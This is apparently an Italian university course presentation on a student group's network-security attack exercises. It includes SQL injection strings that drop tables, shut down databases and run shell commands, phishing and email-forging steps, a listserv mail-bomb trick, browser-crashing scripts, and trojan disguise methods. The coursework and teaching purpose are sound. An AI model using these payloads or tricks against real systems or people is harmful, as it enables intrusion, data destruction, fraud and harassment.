KGBGROUP
I NOSTRI ATTACCHI
Ferrara Felice
Sorrentino Luigi
Giallaurito Ettore
Prof. A. De Santis
Dott. L.Catuogno
Indice
•Sql Injection
•Phishing e mail fasulle
•Attacchi attraverso siti web
•Pharming e file spoofing
•Denial of Service
Sql injection
Tutti gli attacchi ad applicazioni, tipicamente web, in cui il
programma utilizza esegue operazioni su un database SQL
utilizzando variabili passate dall’utente senza averle prima
verificate
Generalmente le applicazioni hanno dei form che fanno leva su
database interrogati sulla base dei dati inseriti dall’utente
Quindi ogni volta che si sottomette un form viene eseguita
un’operazione su un database
Sql injection
Possiamo quindi considerare il caso tipico della login di un utente
su un sito web
L’utente inserisce la propria login e password e sottomette i dati
Ipotizzando che la login sia Felice e la password sia 5561245 allora
è presumibile che sia eseguita la query
SELECT *
from tabella
where ID=' Felice ' AND PASSWORD=' 5561245 '
Sql injection
Il nostro obiettivo è quello di ingannare il parser sql per generare
comportamenti imprevisti
Proviamo ad inserire il carattere ' nel campo login e sottomettere i
dati
Se non sono stati fatti controlli sui dati di input allora la query
eseguita sarà la seguente
from tabella
L’apice viene considerato come
simbolo di dichiarazione
where ID=' ' ' AND PASSWORD=' '
Viene generato un errore
SELECT *
Sql injection
Proviamo ad inserire la stringa ' OR "=' nei campi login e password
La query eseguita sarà la seguente:
SELECT *
from tabella
where ID= ' ' OR "=' ' AND PASSWORD= ' ' OR "=' '
La clausola WHERE sarà sempre vera e l’hacker è autenticato senza
credenziali!
Spesso l’amministratore si registra tra gli utenti posizionandosi
nella prima tupla della tabella  poiché la select restituirà la prima
tupla della tabella l’hacker sarà loggato come amministratore
Sql injection
Utilizzando quest’ idea è possibile generare tutta una serie di
attacchi sfruttando i soli campi di login e password
Username: ' ; drop table members-Effetto: Eliminazione della tabella di un database
Username: aaaaaaaaaaaaaaa'
Password: ' ; shutdown -Effetto: Chiusura del database
Username: ' ;EXEC master..xp_cmdshell 'dir';-Effetto: Esecuzione del comando dir per ottenere un listato delle
directory
Username: ' ;EXEC master..xp_regread
HKEY_LOCAL_MACHINE,'percorso','chiave'-Effetto: Lettura di una chiave del registro di Windows
Sql injection
In generale la costruzione della stringa dipende dalla versione del
server sql in uso.
Prevenire quest’attacco è semplice
Basta controllare lato server se l’hacker ha inserito degli apici
È bene non fidarsi del codice javascript che può essere aggirato
soprattutto se la richiesta è di tipo GET
È opportuno limitare i privilegi
Phishing
Il termine phishing (abboccamento) deriva dalla storpiatura del
verbo inglese to fish che significa pescare
L’idea è quella di pescare utenti in rete per farli cadere all’interno
di trappole tese da incalliti ed navigati truffatori
L’obiettivo è ottenere informazioni sensibili quali i usernames, le
parole d'accesso, le identificazioni di cliente o comunque dati che
permettano di estorcere illegalmente soldi ad ignari utenti
Phishing
In termini pratici il phishing si traduce nel dirigere utenti verso siti
pirata che hanno l’obiettivo di simulare organizzazioni reali per
ottenere informazioni
Il phisher segue due passi :
1 Copia grafica del sito di riferimento dell’organizzazione target
2 “Attrarre” le vittime verso il sito
Phishing
Il primo passo è banale ed esistono peraltro tool che ben supportano
questa operazione
Noi abbiamo utilizzato Teleport
La sezione dinamica del sito viene riprogrammata per verosimiglianza
L’utente apparentemente fa operazioni ma viene costretto in ogni modo a
rivelare le proprie informazioni incutendo terrore nella vittima con
messaggi che lo inducano ad agire velocemente e sconsideratamente
Per fare ciò si inviano messaggi che obbligano ad esempio a svelare
login, password, codici bancari ….
Il sito pirata nella realtà viene piazzato su server in nazioni estere
Phishing
Il secondo passo consiste nel dirigere le vittime verso la trappola
Per fare questo esistono due possibilità:
1) DNS POISONING (nella maggior parte dei casi un miraggio)
2) Utilizzo di vere e proprie esche
Abbiamo considerato questa seconda strada
Phishing
Una prima possibilità è quella di mettere il link all’interno di forum
o chat
Il limite di questa strategia è che questi link possono avere scarsa
visibilità e possono essere eliminati velocemente prima di aver fatto
danni
La seconda possibilità è quella di utlizzare il servizio di posta
inviando mail fasulle che ricalcano la grafica delle organizzazioni
target
All’interno delle mail si posiziona un link che punta al sito pirata
Phishing
I phisher hanno un potente
alleato: gli spammers
Questi mettono a disposizione i
loro database per fornire
indirizzi attivi
In generale non è bene fidarsi
dell’indirizzo visualizzato al
passaggio del mouse poiché
può essere mascherato
attraverso codice javascript
Mail fasulle
Argomento correlato al phishing è quello delle mail fasulle
Sendmail è un daemon che aspetta connessioni sulla porta 25 usato
per inviare la posta in uscita
Collegandosi tramite telnet in prova.it sulla porta 25 e digitando i
comandi esatti, è possibile generare e-mail false
Supponiamo che il nostro obiettivo è [email protected] a cui
vogliamo recapitare una mail da parte di
[email protected]
Mail fasulle
Dopo esserci connessi a prova.it:25 dovremmo ottenere un messaggio
del tipo
220 prova.it ESMTP Sendmail 8.9.3/8.8.6; thu, 8 Jul 2006 11:46:01 +0000 (GMT)
I comandi saranno
HELO nomeprovider.it
La risposta sarà:
250 prova.it Hello NOMEPROVIDER.IT, pleased to meet you
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
DATA con il contenuto seguito da due righe vuote e dal punto
Mail fasulle
Concettualmente è possibile seppellire la mail box di un potenziale
vittima ponendo come mittenet la vittima e destinatario un listserv
Un Listserv è un programma che invia programmi tramite e-mail
nel caso non si riesca a prelevarlo via FTP.
Se ad esempio sappiamo che nella directory "mieifiles" del server
pluto.it c'e` un file di 20 megabyte il cui nome è "enorme.gz"
possiamo fare in modo che quei 20 MB vengano inviati sotto forma
di testo nella e-mail della nostra vittima, ponendo nel campo
SUBJECT quanto segue
REPLY [email protected]
CONNECT pluto.it anonymous [email protected]
BINARY
GET mieifiles/enorme.gz
QUIT
Attacchi attraverso siti web
Fare eseguire lato client codice o script
Molto dipende dalle configurazioni e dalle verioni del software
utilizzato dai client
Abbiamo analizzato le applet java, javascript e Macromedia
Flash
Tutte implementano un modello di sicurezza basato su sandbox
Attacchi attraverso siti web
JAVA(l’ultima versione) ha un livello di sicurezza superiore rispetto
alle altre 2 tecnologie
È però possibile scrivere codice
-Con l’obiettivo di usurare le risorse del client
-Far crashare alcuni browser
Attacchi attraverso siti web
Javascript ha una lunga ingloriosa storia legata a problemi di sicurezza
Riportiamo alcuni esempi tra quelli documentati
function ex() {
var buffer = "";
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
Exploit per alcune
versione di Firefox 1.5
Attacchi attraverso siti web
È più semplice attaccare Internet Explorer 6.0
Attacco per Denail of Service
<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>
Attacco per far crashare il browser
function Demo() {
var a = document.createElement('table');
var b = document.createElement('frameset');
a.appendChild(b);
}
Attacchi attraverso siti web
Adobe ha sviluppato un linguaggio di script (Action Script)per
potenziare Flash
È possibile inviare richieste http a terze parti settando degli header
var req:LoadVars=new LoadVars();
req.addRequestHeader("Foo","Bar");
req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2",
"_blank","GET");
Oppure
var req:LoadVars=new LoadVars();
req.addRequestHeader("Foo","Bar");
req.decode("a=b&c=d");
req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2",
"_blank","POST");
Pharming
• Tecnica basata essenzialmente sulla manipolazione degli
indirizzi web
• Punta a modificare l’associazione tra indirizzi IP e nomi di
dominio per reindirizzare l’utenza verso altri siti.
• Due tecniche di attacco:
– si operano delle variazioni nei Server DNS dell'Internet Service
Provider modificando gli abbinamenti tra il dominio e l'indirizzo IP
corrispondente a quel dominio
– con l'ausilio di programmi trojan una variazione nel personal
computer della vittima
Inviare trojan con “File spoofing”
• Lo scopo è quello di inserire o modificare gli abbinamenti tra
il dominio interessato e l'indirizzo IP corrispondente a quel
dominio in un file locale particolare (File “hosts” in windows)
• Lo spoofing dei tipi di file è una tecnica usata per simulare
che un certo file corrisponda ad un tipo diverso da ciò che è
realmente
• ingannare un utente facendogli credere che un trojan sembri
un tipo di file innocuo
Inviare trojan con “File spoofing”
• Due tecniche conosciute:
– Trucco della doppia estensione di Windows:
• Rinominare un file con una doppia estensione in modo tale da ingannare
la visualizzazione di windows (ES: “Archivio.zip.exe” viene visualizzato
come “Archivio.zip”)
• Attacco da eseguire a coloro che conoscono windows da 2(massimo 3)
giorni :D
– Il mime nelle e-mail
• Gli attachment in un messaggio di posta elettronica vengono codificati
usando lo standard MIME con una codifica di solo testo nel caso dei file
ASCII puri (TXT, BAT, HTA) oppure con la codifica "base64" nel caso si
tratti di file binari
• L'inganno consiste proprio nel cambiare il campo "Content-Type"
indicando magari che un file eseguibile è un'immagine
Il nostro scopo
• Riuscire a dirottare tutto il traffico possibile verso la nostra
macchina
• Ottenere informazioni sui possibili utenti del sito attaccato:
– Creando un sito che simulasse gran parte delle funzionalità
– L’utente ignaro della situazione avrebbe avuto accesso al sito fasullo
e avrebbe dato informazioni di login che si potevano sfruttare per fare
altri danni
Come difendersi
• Non esistono ancora dei programmi specifici ma si usano:
– firewall che tentano di impedire l'accesso al proprio PC da parte di
utenti esterni
– antivirus che bloccano l'esecuzione di codice malevolo
• Siti certificati:
– Se il sito a cui ci si collega è un sito sicuro prima dell'accesso verrà
mostrato un certificato digitale emesso da una autorità di certificazione
conosciuta
– Questo certificato andrebbe quantomeno letto e non frettolosamente
accettato
Denial of Service
• Attacco con cui un aggressore tenta di rendere una risorsa
troppo occupata per rispondere a richieste legittime o di negare
a utenti legittimi l'accesso ad una macchina
• I primi attacchi si cercavano di esaurire risorse hardware
della vittima, quali lo spazio su disco, la memoria e la CPU:
– ciò era ottenibile spedendo pochi pacchetti malformati che
mandavano in crash il sistema remoto
• Due tipi sono più conosciuti:
– Syn-Flood
– Smurf
Syn-Flood
• Letteralmente: "inondazione di pacchetti di tipo Syn"
• Tutte le volte che un utente fa click su di un link di una
pagina web:
– si richiede l'apertura di una connessione (di tipo TCP) verso quel sito
– si eseguono una serie di passi, il primo dei quali consiste nell'invio di
un pacchetto TCP che richiede l'apertura di una connessione
• Le regole di funzionamento del protocollo TCP esigono che
il sistema risponda allocando alcune risorse per la connessione
Syn-Flood(2)
• si richiede l'apertura di diverse migliaia di connessioni al
secondo che:
– "inondando" il server
– ne consumano rapidamente tutta la memoria, bloccandolo o
mandandolo in crash.
Smurf
• utilizza un flusso di pacchetti modesto che:
– è in grado di passare attraverso una normale connessione via modem,
ed una rete esterna, che sia stata mal configurata
– usa la rete malconfigurata, che agisce da moltiplicatore di pacchetti, i
quali si dirigono infine verso il bersaglio finale lungo linee di
comunicazione ad alta velocità
• Si noti che questo tipo di attacco è possibile solo in presenza
di reti che abbiano grossolani errori di configurazione dei
sistemi (router) che le collegano tra loro e con Internet
Distributed Denial of Services
• DDoS ripete lo stesso approccio utilizzando però diversi
punti d'ingresso contemporanei
• si è in grado di mettere in ginocchio sistemi più grandi che
sarebbero indifferenti ad un singolo flood
• Come funziona:
– si infettano un numero elevato di computer(successivamente chiamati
zombie) con dei virus o worm che lasciano aperte delle backdoor
riservate
– Quando il numero di zombie è ritenuto adeguato, o quando scatta una
specifica data, i computer infetti si attivano e sommergono il server
bersaglio di false richieste
I nostri attacchi DoS
• Inutile fare un attacco DoS su una rete non attiva:
– Congestionare una rete o incrementare esponenzialmente il lavoro un
computer che che non offrono servizi è un controsenso :D
• Il nostro lavoro si è incentrato soprattutto su altre tipologie di
attacco più “produttive” in relazione a quelli che erano gli scopi
del corso
Scarica

conclusione - Sicurezza su reti 2